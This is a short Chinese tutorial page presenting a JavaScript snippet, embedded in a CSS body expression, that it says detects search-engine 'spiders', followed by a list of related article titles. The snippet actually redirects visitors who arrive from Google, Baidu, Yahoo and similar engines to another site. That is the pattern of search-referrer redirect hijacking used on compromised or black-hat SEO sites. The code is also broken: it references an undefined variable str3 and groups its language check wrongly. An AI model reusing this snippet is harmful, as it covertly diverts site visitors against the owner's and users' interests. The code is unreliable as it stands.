JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
JQuery入门——用映射方式绑定不同事件应用示例
Feb 05 Javascript
JavaScript判断密码强度(自写代码)
Sep 06 Javascript
JavaScript 32位整型无符号操作示例
Dec 08 Javascript
jQuery的ready方法详解
Nov 27 Javascript
JavaScript中Function()函数的使用教程
Jun 04 Javascript
基于jQuery实现自动轮播旋转木马特效
Nov 02 Javascript
Document.body.scrollTop的值总为零的快速解决办法
Jun 09 Javascript
js和jquery中获取非行间样式
May 05 jQuery
jquery鼠标悬停导航下划线滑出效果
Sep 29 jQuery
vue实现在一个方法执行完后执行另一个方法的示例
Aug 25 Javascript
Vue中全局变量的定义和使用
Jun 05 Javascript
微信小程序实现购物车功能
Nov 18 Javascript
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
《超神学院》霸气归来, 天使彦上演维多利亚的秘密
2020/03/02 国漫
php打开远程文件的方法和风险及解决方法
2013/11/12 PHP
PHP goto语句简介和使用实例
2014/03/11 PHP
yii框架通过控制台命令创建定时任务示例
2014/04/30 PHP
PHP实现递归复制整个文件夹的类实例
2015/08/03 PHP
Joomla实现组件中弹出一个模式(modal)窗口的方法
2016/05/04 PHP
PHP实现微信提现功能(微信商城)
2019/11/21 PHP
自动完成JS类(纯JS, Ajax模式)
2009/03/12 Javascript
基于jQuery的可以控制左右滚动及自动滚动效果的代码
2010/07/25 Javascript
js中的布尔运算符使用介绍
2013/11/20 Javascript
含有CKEditor的表单如何提交
2014/01/09 Javascript
文本域光标操作的jQuery扩展分享
2014/03/10 Javascript
Backbone.js 0.9.2 源码注释中文翻译版
2015/06/25 Javascript
JS实现三级折叠菜单特效,其它级可自动收缩
2015/08/06 Javascript
javascript时间排序算法实现活动秒杀倒计时效果
2021/01/28 Javascript
javascript创建对象的几种模式介绍
2016/05/06 Javascript
js注入 黑客之路必备!
2016/09/14 Javascript
原生JS实现垂直手风琴效果
2017/02/19 Javascript
vue中组件的过渡动画及实现代码
2018/11/21 Javascript
vue实现移动端input上传视频、音频
2020/08/18 Javascript
webpack4从0搭建组件库的实现
2020/11/29 Javascript
Python编程实现线性回归和批量梯度下降法代码实例
2018/01/04 Python
Python带动态参数功能的sqlite工具类
2018/05/26 Python
使用Template格式化Python字符串的方法
2019/01/22 Python
python 实现在shell窗口中编写print不向屏幕输出
2020/02/19 Python
如何使用pandas读取txt文件中指定的列(有无标题)
2020/03/05 Python
Python内建序列通用操作6种实现方法
2020/03/26 Python
Python实现爬取并分析电商评论
2020/06/19 Python
基于HTML5超酷摄像头(HTML5 webcam)拍照功能实现代码
2012/12/13 HTML / CSS
加拿大床上用品、家居装饰、厨房和浴室产品购物网站:Linen Chest
2018/06/05 全球购物
JAVA招聘远程笔试题
2015/07/23 面试题
研发工程师的岗位职责
2013/11/18 职场文书
化学系大学生自荐信范文
2014/03/01 职场文书
高中生综合素质自我评价
2015/03/06 职场文书
自荐信范文
2019/05/20 职场文书
请假条应该怎么写?
2019/06/24 职场文书